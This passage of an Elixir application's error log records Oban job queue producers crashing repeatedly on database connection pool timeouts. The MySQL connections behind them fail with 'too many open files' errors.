    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:10:36.241643Z], limit: 10, uuid: "00fd914e-d86f-4ddf-9dd8-e672c67af7c5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.241652Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49755>, refresh_timer: #Reference<0.2525715032.1099431938.49750>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:10:36.239668Z], limit: 5, uuid: "11f51436-90b2-430e-9b8d-fcf168e90ed2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.239674Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49519>, refresh_timer: #Reference<0.2525715032.1068498948.49493>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:50.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:51.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:53.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:55.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:58.662000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:58.760000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:10:48.242587Z], limit: 10, uuid: "3073d047-a785-4ccf-9e97-b11bfc29bab0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.242593Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49807>, refresh_timer: #Reference<0.2525715032.1099431938.49891>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:10:48.240312Z], limit: 3, uuid: "48a34720-2245-49f7-b77c-f6e1e96d22f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.240318Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49783>, refresh_timer: #Reference<0.2525715032.1068498948.49749>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:10:48.241012Z], limit: 20, uuid: "ba802c4d-994e-405b-ad70-c307d0c018f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.241019Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49784>, refresh_timer: #Reference<0.2525715032.1121189889.163174>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:10:48.240538Z], limit: 5, uuid: "01a8571f-2ffd-4477-beca-f943479c89d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.240543Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49782>, refresh_timer: #Reference<0.2525715032.1068498948.49763>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:10:48.243132Z], limit: 5, uuid: "e3544ce9-fbec-4beb-bee0-9c014c22896a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.243137Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49808>, refresh_timer: #Reference<0.2525715032.1077673987.25339>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:10:48.240757Z], limit: 50, uuid: "7a0c16c2-f3e1-430b-9d24-0a73bc1158ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:48.240765Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49785>, refresh_timer: #Reference<0.2525715032.1121189889.163167>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:00.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:00.820000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:01.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:04.181000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:05.980000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:10.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:12.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
